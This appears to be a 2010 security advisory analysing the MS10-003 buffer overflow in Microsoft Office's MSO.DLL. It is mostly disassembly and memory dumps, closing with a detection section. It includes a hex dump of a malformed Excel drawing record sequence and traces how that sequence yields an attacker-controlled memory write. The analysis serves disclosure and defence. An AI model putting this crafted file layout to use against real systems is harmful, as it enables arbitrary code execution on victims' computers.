VUPEN security

VUPEN Security – Private Exploits & PoC Service

In-Depth Analysis of Microsoft Office "MSO.DLL" Buffer Overflow Vulnerability (MS10-003 / CVE-2010-0243)

Table of Contents

Introduction

A vulnerability exists in the way Microsoft Office when processing malformed data in Office files, which could be exploited to execute arbitrary code.

Tested Versions

The vulnerability was analyzed on Windows XP SP2 with Microsoft Office XP SP3 (MSO.DLL version 10.0.6856.0).

Fixed Versions

The vulnerability was fixed with the MS10-003 security update.

Technical Details

When loading a Microsoft Office XP document which contains an MSODrawing object, the "MSO.dll" module is used. This module has the following properties:

```
Executable module
  Base = 0x30B00000
  Code Base = 0x30B01000
  Size = 0x00964000 (9846784.)
  Entry = 0x30B01DBC
  Name = mso
  File version = 10.0.6856
  Path = C:\Program Files\Fichiers communs\Microsoft Shared\office10\mso.dll
```

So, when a "MSODrawing" object is found in a "BIFFRecord", code inside the "MSO.dll" module is called:

```
;
; In function starting at 0x30BDEA7F - MSO.dll module
;
Address     Command              Comments
30BDEAF1    PUSH ESI             ; /Arg1 (pointer to structure, on stack)
30BDEAF2    CALL 30BDE391        ; \mso.30BDE391
```

The CALL instruction at 0x30BDE391 leads to a function which is responsible for parsing most of the "MSODrawing" object.

A MSODrawing object is usually composed of:

- msofbtdgContainer (0xF002) [rgChildRec]
  - msofbtDg (0xF008) [drawingData]
  - msofbtSpgrContainer (0xF003) [groupShape]
    - msofbtSpContainer (0xF004) [spContainer]
      - msofbtSpgr (0xF009) [spgr]
      - msofbtSp (0xF00A) [shapeProp]

The above list gives the actual relationship between the different components of an MSODrawing object presented as:

- official name (record type value) [OffVis name]

In the function below, starting at 0x30BDE391, we found the parsing loop of the inner MSODrawing object records.

Below is the code located near the start of this function:

```
;
; In function starting at 0x30BDE391 – MSO.dll module
;
Address     Command                              Comments
30BDE3C6    MOV EAX,DWORD PTR DS:[EAX+18]        ; MSODrawing record length
30BDE3C9    ADD EAX,DWORD PTR DS:[ECX]           ; number of bytes to process
30BDE3CB    MOV DWORD PTR SS:[LOCAL.9],EAX
30BDE3CE    MOV EDI,DWORD PTR SS:[ARG.1]         ; object describing structure
30BDE3D1    MOV ECX,DWORD PTR SS:[LOCAL.9]       ; reclen + bytes to process
30BDE3D4    MOV EAX,DWORD PTR DS:[EDI+30]        ;
30BDE3D7    CMP ECX,DWORD PTR DS:[EAX]           ; bytes processed up to now
30BDE3D9    JE 30BDE71C
30BDE3DF    MOV ECX,EDI                          ; [arg1] in ECX, EDI
30BDE3E1    CALL 30BDF384                        ; get new record header
30BDE3E6    TEST EAX,EAX
30BDE3E8    JE 30BDE71C
```

The above code simply checks if the processing loop has not processed more bytes than the MSODrawing object contains. If not, it then continues to parse the record in the object, starting with the record type 0xF002, then 0xF008, etc.

The function at 0x30BDF384 gets the first two DWORD of the record header, whatever the record is. Below is an example for the first two records of the MSODrawing object:

```
CPU Dump
Address     Hex dump
0013603C    0F 00 02 F0|F4 01 00 00|

record version ; record type; record length
```

```
CPU Dump
Address     Hex dump
0013603C    10 00 08 F0|08 00 00 00|

record version ; record type; record length
```

Next the function call is shown below:

```
;
; In function starting at 0x30BDE391 – MSO.dll module
;
Address     Command           Comments
30BDE3EE    MOV ECX,EDI       ; internal struct. representing MSODrawing obj.
30BDE3F0    CALL 30BDEA5E     ; parse record header
30BDE3F5    TEST EAX,EAX
30BDE3F7    JNE 30EFD183      ; take if not 0
```

The function at 0x30BDEA5E will parse the record header structure and return a Boolean value.

Below is the code of this function:

```
;
; In function starting at 0x30BDEA5E – MSO.dll module
;
Address     Command                          Comments
30BDEA5E    PUSH ESI
30BDEA5F    MOV ESI,ECX
30BDEA61    MOV ECX,DWORD PTR DS:[ESI+14]; record type and version (e.g: 0xF0080010)
30BDEA64    SHR ECX,10                        ; record type (e.g: 0xF008)
30BDEA67    CALL 30BDF41D
30BDEA6C    MOV ECX,DWORD PTR DS:[ESI+14]       ; record type and version
30BDEA6F    AND EAX,000000FF                    ; result from previous call
30BDEA74    AND ECX,0000000F                    ; version least significant nibble
30BDEA77    POP ESI
30BDEA78    CMP EAX,ECX                         ; Sets EAX to boolean (EAX<ECX)
30BDEA7A    SBB EAX,EAX
30BDEA7C    NEG EAX
30BDEA7E    RETN
```

And the inner call code:

```
;
; In function starting at 0x30BDF41D – MSO.dll module
;
Address     Command                          Comments
30BDF41D    CMP ECX,0F117                    ; record type
30BDF423    LEA EAX,[ECX+FFFF1000]           ; eax = (record type &  0xFFF)
30BDF429    JLE SHORT 30BDF430
30BDF42B    SUB EAX,100
30BDF430    CMP EAX,45
30BDF433    JGE 30EFC504
30BDF439    MOV AL,BYTE PTR DS:[EAX+30BF7470]    ; index into array
```

Where the indexed array looks like this:

```
CPU Dump
Address     Hex dump
30BF7470    0F 0F 0F 0F|0F 0F 00 02|00 01 02 03|00 0F 00 00|
30BF7480    0F 0F 01 00|00 0F 00 00|00 00 00 0F|00 00 00 00|
```

The first of the two functions shown above takes the record type and passes it to the second function which uses the record type value to index into an array (shown above). The resulting value obtained from the index is then compared with the least significant nibble of the version to return a Boolean value.

If the Boolean value is not "False" we take the jump (at 0x30BDE3F7 to 0x30EFD183) or we continue as shown in the following code:

```
CPU Disasm
;
; In function starting at 0x30BDE391 – MSO.dll module
;
Address     Command                          Comments
30BDE3FD    MOV EAX,DWORD PTR DS:[EDI+14] ; record version and type (e.g: 0xf0080010)
30BDE400    MOV ECX,EAX
30BDE402    SHR ECX,10                       ; keep record type only
30BDE405    CMP ECX,0F003                    ; check record type
30BDE40B    JB 30EFD183
```

```
30BDE411    CMP ECX,0F004
30BDE417    JA 30BDE4C8                  ; check for other record types
30BDE41D    XOR ESI,ESI                  ; case 0xF003 / 0xF004
30BDE41F    LEA EAX,[LOCAL.2]
30BDE422    PUSH ESI                     ; /Arg3 => 0
30BDE423    PUSH EAX                     ; |Arg2 => OFFSET LOCAL.2
30BDE424    PUSH EDI                     ; |Arg1
30BDE425    MOV ECX,EBX
30BDE427    CALL 30BDEC18                ; \mso.30BDEC18
```

The above code takes the record type value and checks it against 0xF003 and 0xF004. If it is one of these values, the call (at 0x30BDE427) is made, leading to the function at 0x30BDEC18.

In this function, the code checks for the exact record type value, either 0xF003 or 0xF004:

```
;
; In function starting at 0x30BDEC18 – MSO.dll module
;
Address     Command                          Comments
30BDEC28    MOV EAX,DWORD PTR DS:[EBX+14]    ; record version and type
30BDEC2B    AND AX,SI                        ; keep only type
30BDEC2E    MOV EDI,ECX
30BDEC30    CMP EAX,F0040000                 ; check type against 0xF004
30BDEC35    JNE 30BDE8AF                     ; take jcc if not 0xF004
30BDEC3B    PUSH 101                         ; /Arg2 = 101
30BDEC40    PUSH 58                          ; |Arg1 = 58
30BDEC42    CALL #16                         ; \mso.#16 (AllocMemory)
;[…]
30BDE8AF    CMP EAX,F0030000                 ; check against 0xF003
30BDE8B4    JNE 3102448C                     ; if not, exit from function
30BDE8BA    PUSH 101                         ; /Arg2 = 101
30BDE8BF    PUSH 8C                          ; |Arg1 = 8C
30BDE8C4    CALL #16                         ; \mso.#16 (AllocMemory)
```

The root cause of the vulnerability lies here. If an attacker changes the normal sequence or records inside an MSODrawing object, it is possible to make the code use uninitialized variables.

More precisely, by removing or replacing the 0xF003 record type by another record, the allocation, which is expected to be 0x8C bytes (see code in the above snippet at 0x30BDE8BF), will be smaller (by allocating only 0x58 bytes at 0x30BDEC40).

Later the code may act as if the buffer is really 0x8C bytes, leading to the use of uninitialized variables. With a specially crafted file, an attacker may control the uninitialized variables and then, at some point, will control the code flow and execute arbitrary code.

Exploitation

By providing another set of records than those expected, an attacker may be able to control the allocation.

We start the exploitation with the overview of an altered MSODrawing object:

- msofbtdgContainer (0xF002) [rgChildRec]
    - msofbtDg (0xF008) [drawingData]

- xxx (0xF120)
- msofbtSpContainer (0xF004) [spContainer]
  - msofbtSpgr (0xF009) [spgr]
  - msofbtSp (0xF00A) [shapeProp]

Below is an view of a malformed file, starting with the record 0xF008 and ending with the record 0xF00A:

```
File C:\test.xls
Address     Hex dump
00000A5E    10 00 08 F0|08 00 00 00|05 00 00 00|05 04 00 00|
00000A6E    0F 00 20 F1|08 00 00 00|41 42 43 44|45 46 47 00|
00000A7E    0F 00 04 F0|3C 00 00 00|01 00 09 F0|10 00 00 00|
00000A8E    03 04 05 06|07 08 09 0A|0B 0C 0D 0E|0F AA BB CC|
00000A9E    01 00 1A F0|0C 00 00 00|41 41 41 41|42 42 42 42|
00000AAE    43 43 43 43|02 00 0A F0|08 00 00 00|00 04 00 00|
00000ABE    05 00 00 00|

record version ; record type; record length
```

The 0xF003 container was replaced by a bogus container with a record type of 0xF120, as shown in the dump above.

The processing loop parses the first two record types (0xF002 and 0xF008) without any problems. The record header for the 0xF120 record type is then fetched at 0x30BDE3E1.

Once fetched, a call is made to the function at 0x30BDEA5E (see CALL at 0x30BDE3F0):

```
;
; In function starting at 0x30BDEA5E – MSO.dll module
;
Address     Command                          Comments
30BDEA5E    PUSH ESI
30BDEA5F    MOV ESI,ECX
30BDEA61    MOV ECX,DWORD PTR DS:[ESI+14]; record type and version (0xF120000F)
30BDEA64    SHR ECX,10                       ; record type (0xF120)
30BDEA67    CALL 30BDF41D
30BDEA6C    MOV ECX,DWORD PTR DS:[ESI+14]         ; record type and version
30BDEA6F    AND EAX,000000FF                      ; result from previous call => 0
30BDEA74    AND ECX,0000000F                      ; keep 0x0F
30BDEA77    POP ESI
30BDEA78    CMP EAX,ECX                           ; Sets EAX to boolean (EAX<ECX)
30BDEA7A    SBB EAX,EAX
30BDEA7C    NEG EAX
30BDEA7E    RETN                                  ; return 1
```

As shown in the above code, the function returns 1. This allows the attacker to use the Jcc at 0x30BDE3F7 to fall on this piece of code:

```
CPU Disasm
;
; In function starting at 0x30BDE391 – MSO.dll module
;
Address     Command             Comments
30EFD197    MOV ECX,EDI
30EFD199    CALL 310243FD       ; Allocate block of memory and copy record data
30EFD19E    JMP 30BFA13E        ; return to processing loop
```

The function at 0x310243FD allocates a block of memory of "record length" bytes and copies the data of the record into it:

```
CPU Dump
Address       Hex dump                                  ASCII
00C50E78      41 42 43 44|45 46 47 00|5C 09 80 01|         ABCDEFG.\.
record data ; end of block marker
```

Once this is done, the code gets back to the processing loop. This time it gets the 0xF004 record type and calls the function at 0x30BDEC18 (see call at 0x30BDE427).

As this is the record type 0xF004, the code allocates a block of 0x58 bytes, as we have seen previously:

```
;
; In function starting at 0x30BDEC18 – MSO.dll module
;
Address       Command                          Comments
30BDEC28      MOV EAX,DWORD PTR DS:[EBX+14]    ; record version and type
30BDEC2B      AND AX,SI                        ; keep only type
30BDEC2E      MOV EDI,ECX
30BDEC30      CMP EAX,F0040000                 ; check type against 0xF004
30BDEC35      JNE 30BDE8AF                     ; take jcc if not 0xF004
30BDEC3B      PUSH 101                         ; /Arg2 = 101
30BDEC40      PUSH 58                          ; |Arg1 = 58
30BDEC42      CALL #16                         ; \mso.#16 (AllocMemory)
;[…]
```

Once the block is allocated, the memory is initialized and some data is copied onto it:

```
;
; In function starting at 0x30BDEC18 – MSO.dll module
;
Address       Command                       Comments
30BDEC40      PUSH 58                       ; |Arg1 = 58
30BDEC42      CALL #16                      ; \mso.#16, alloc 58 bytes
30BDEC47      POP ECX
30BDEC48      CMP EAX,ESI                   ; check if allocation is successful
30BDEC4A      POP ECX
30BDEC4B      JE SHORT 30BDEC56
30BDEC4D      MOV ECX,EAX
30BDEC4F      CALL 30B40545                 ; init allocated buffer
30BDEC54      MOV ESI,EAX
30BDEC56      TEST ESI,ESI
30BDEC58      JE 3102448C
30BDEC5E      PUSH DWORD PTR SS:[ARG.3]
30BDEC61      MOV EAX,DWORD PTR DS:[ESI]
30BDEC63      MOV ECX,ESI
30BDEC65      PUSH EDI
30BDEC66      PUSH EBX
30BDEC67      CALL DWORD PTR DS:[EAX+4]     ; copy data into allocation
```

As the 0xF004 record is a container type, the code parses the other "sub-records" on the CALL [EAX+4] which leads to 0x30BDECCC.

The code gets the next record header and uses a JMP table (a switch) to go to the required case handling:

```
;
; In function starting at 0x30BDECCC – MSO.dll module
;
Address     Command                          Comments
30BDED44    CALL 30BDF3D2                    ; read next record header
30BDED49    TEST EAX,EAX
30BDED4B    JE 30BDEE8D
30BDED51    MOV EAX,DWORD PTR DS:[EBX+30]
30BDED54    MOV ESI,DWORD PTR DS:[ESI]       ; record type and version (0xF0090001)
30BDED56    MOV EDX,DWORD PTR DS:[EAX]       ; record length
30BDED58    ADD EDX,8
30BDED5B    MOV DWORD PTR DS:[EAX],EDX
30BDED5D    MOV EAX,ESI
30BDED5F    SHR EAX,10                       ; keep only record type
;[…]
30BDEDBA    JMP DWORD PTR DS:[EAX*4+30BDEDC8] ;select code depending on type
```

In our case, the next record is of type 0xF009:

```
; In function starting at 0x30BDECCC – MSO.dll module
;
Address     Command                    Comments
(0xcase F009 of switch)
30BDE9AC    PUSH EBX                   /Arg1 = 136028
30BDE9AD    MOV ECX,EBP
30BDE9AF    CALL 30BDE638              ; copy record bytes in allocation
```

The above call leads to the following code where 0x10 bytes from the 0xF009 record are copied onto stack and then from stack to the previously allocated buffer at 0x30BDEC42:

```
;
; In function starting at 0x30BDE638 – MSO.dll
;
Address     Command                    Comments
30BDE648    PUSH 10                    ; /Arg1 = 10
30BDE64A    LEA EDX,[LOCAL.4]
30BDE64D    CALL 30BDF3D2              ; \ copy 0x10 bytes from record onto stack
30BDE652    TEST EAX,EAX
30BDE654    JE 30EFD25D
30BDE65A    MOV EAX,DWORD PTR DS:[ESI+30]
30BDE65D    LEA EDX,[EDI+68]                 ; edx = buffer base + 0x68
30BDE660    LEA ECX,[LOCAL.4]
30BDE663    ADD DWORD PTR DS:[EAX],10
30BDE666    CALL 30BDF0E7                    ; copy 0x10 bytes from stack to buffer
```

Particularly notice the offset from the base of the buffer at 0x30BDE65D which is 0x68 while the buffer (allocated at 0x30BDEC42) is only 0x58 bytes long!

```
CPU Dump
Address     Hex dump                                    ASCII
00C50E84    20 F1 B8 30|00 00 00 00|00 00 00 00|00 00 00 00|
;[…]
00C50ED4    00 00 00 00|AF 1E F0 EA|5C 09 24 01|00 00 00 00|
00C50EE4    00 00 00 00|00 00 00 00|03 04 05 06|07 08 09 0A|
00C50EF4    0B 0C 0D 0E|0F AA BB CC|00 00 00 00|00 00 00 00|

start_of_buffer ; end of buffer(inclusive) ; end marker ; copied data from record
```

Once the above has been done, the code continues to check for the next sub-record, starting by copying the next sub-record header on the stack (at 0x30BDED44).

This time, the sub-record header starts with the record type 0xF01A, a version of 0x01 and a length of 0x0C bytes:

```
00000A9E    01 00 1A F0|0C 00 00 00|41 41 41 41|42 42 42 42|
00000AAE    43 43 43 43|
```

The Jcc at 0x30BDE95 is taken:

```
;
; In function starting at 0x30BDE638 – MSO.dll
;
Address     Command                              Comments
30BDED7C    MOV CL,BYTE PTR DS:[ECX+30BF7470]   ; array indexing (using record type)
30BDED82    MOV BYTE PTR SS:[LOCAL.26],CL
30BDED86    MOV EDX,DWORD PTR SS:[ARG.6]
30BDED8A    AND ESI,0000000F                    ; least nibble of record version
30BDED8D    AND EDX,000000FF                    ; check against value from array
30BDED93    CMP ESI,EDX
30BDED95    JA 31022C96                         ; take if record version is above
```

This makes the code fall back on the default case of the switch used at 0x30BDEDBA:

```
;
; In function starting at 0x30BDE638 – MSO.dll
;
Address     Command                              Comments
31022C96    MOV EAX,DWORD PTR SS:[EBP+4]         ; Default case of switch
31022C99    MOV ECX,DWORD PTR DS:[EDI+11C]
31022C9F    PUSH EAX                             ; /Arg3
31022CA0    PUSH 0F004                           ; |Arg2 = 0F004
31022CA5    CALL 31024119                        ; |
31022CAA    PUSH EAX                             ; |Arg1
31022CAB    MOV ECX,EBX                          ; |
31022CAD    CALL 310243FD                        ; \mso.310243FD
31022CB2    TEST EAX,EAX
31022CB4    JE SHORT 31022D0D
31022CB6    JMP 30BDED2B                      ; go to loop start (next sub-record)
```

The call at 0x31022CAD (to the function at 0x310243FD) allocates the size of the current record which is 0x0C bytes long:

```
;
; In function starting at 0x30BDE638 – MSO.dll
;
Address     Command                              Comments
310243FD    CMP DWORD PTR SS:[ARG.1],0
31024402    PUSH EBX
31024403    PUSH ESI
31024404    PUSH EDI
31024405    MOV ESI,ECX
31024407    JE SHORT 3102441C
31024409    PUSH 101                             ; /Arg2 = 101
3102440E    PUSH DWORD PTR DS:[ESI+18]           ; |Arg1 => record size
31024411    CALL _MsoPvAllocCore@8               ; (Memory Allocation)
```

```
;[…]
3102442F    PUSH EDI                                  ; /copy size (size of record)
31024430    MOV EDX,EBX                               ; |
31024432    CALL 30BDF3D2                             ; \ copy record data into alloc.
```

The internal MSO allocator allocates near where our "out-of-bounds" bytes were already written and data from the actual record (0xF01A) is copied onto this allocation:

```
CPU Dump
Address   Hex dump                                    ASCII
00C50EE0  41 41 41 41|42 42 42 42|43 43 43 43|5C 09 14 01|
00C50EF0  07 08 09 0A|0B 0C 0D 0E|0F AA BB CC|00 00 00 00|

start_of_buffer ; end of buffer(inclusive) ; end marker ; out of bounds bytes
```

The code then goes to the sub-record parsing loop and encounters the 0xF00A record which indicates the end of sub-records. The code gets back to the main parsing loop, after the sub-record (0xF003 / 0xF004) parsing:

```
;
; In function starting at 0x30BDE391 – MSO.dll module
;
Address     Command                              Comments
30BDE427    CALL 30BDEC18                        ; 0xF003 / 0xF004 record parsing
;[…]
30BDE454    PUSH 23                              ; number of DWORD to copy
30BDE456    LEA EDI,[EBX+90]                     ; load destination
30BDE45C    POP ECX                              ; get copy size
30BDE45D    MOV ESI,EDX                          ; get source pointer
;[…]
30BDE468    REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS ; copy
```

The code copies 0x23 DWORD (0x23 * 4 = 0x8C bytes) from the source to the destination buffer, however:

- The source is the buffer allocated at 0x30BDEC42 and is **only** 0x58 bytes long.

That is because, with our bogus record, we allocated 0x58 bytes rather than 0x8C bytes.

Below is the destination buffer once the copy is achieved:

```
CPU Dump
Address     Hex dump
00C50C90    20 F1 B8 30|00 04 00 00|00 00 00 00|00 00 00 00|
00C50CA0    00 00 00 00|FF FF 00 00|00 00 00 00|00 00 00 00|
00C50CB0    00 00 00 00|00 00 00 00|08 00 0A 00|01 01 00 00|
00C50CC0    00 00 00 00|00 00 00 00|AF 5E F0 EA|00 0C C5 00|
00C50CD0    00 00 00 00|00 00 00 00|01 00 00 00|00 00 00 00|
00C50CE0    14 00 00 00|AF 1E F0 EA|0C 00 00 00|41 41 41 41|
00C50CF0    42 42 42 42|43 43 43 43|5C 09 14 01|07 08 09 0A|
00C50D00    0B 0C 0D 0E|0F AA BB CC|00 00 00 00|00 00 00 00|
00C50D10    00 00 00 00|00 00 00 00|00 00 00 00|6C 0A C5 00|
```

The code then loads the address at "destination + 0xF0" and sets this address into the pointed DWORD, as shown in the code above:

```
30BDE45F    LEA EAX,[EBX+0F0]                  ; destination + 0xF0
;[…]
30BDE478    MOV ECX,DWORD PTR DS:[EAX]          ; get DWORD at this address
30BDE47A    MOV DWORD PTR DS:[ECX],EAX          ; set DWORD address into DWORD pointed
```

In our example:

```
CPU Dump
Address     Hex dump
00C50C90    20 F1 B8 30|00 04 00 00|00 00 00 00|00 00 00 00|
;[…]
00C50CF0    42 42 42 42|43 43 43 43|5C 09 14 01|07 08 09 0A|
```

This would set the DWORD value 0xC50CF0 at the address 0x42424242 which is controlled by the attacker.

This allows the attacker to overwrite, for example, a return address, a SEH address or an object address in memory and redirect the code flow to execute malicious code.

Detection

Parse contents of Office files (Word, Excel and PowerPoint) to find an MSODrawing object.

The data portion of the MSODrawing BIFF record can be parsed by following the steps outlined in the MS-ODRAW file format specification.

A normal MSODrawing object should be composed of (in this order):

- msofbtdgContainer (0xF002) [rgChildRec]
  - msofbtDg (0xF008) [drawingData]
  - msofbtSpgrContainer (0xF003) [groupShape]
    - msofbtSpContainer (0xF004) [spContainer]
      - msofbtSpgr (0xF009) [spgr]

If the "msofbtSpgrContainer" record (record type: 0xF003) is not present or has been changed to another record type, you can mark the file as being malicious.

References

VUPEN/ADV-2010-0336:
http://www.vupen.com/english/advisories/2010/0336

MS10-003:
http://www.microsoft.com/technet/security/bulletin/ms10-003.mspx

[MS-ODRAW] MS ODRAW Specification:
http://msdn.microsoft.com/en-us/library/cc441433.aspx

Changelog

2010-02-17: Initial release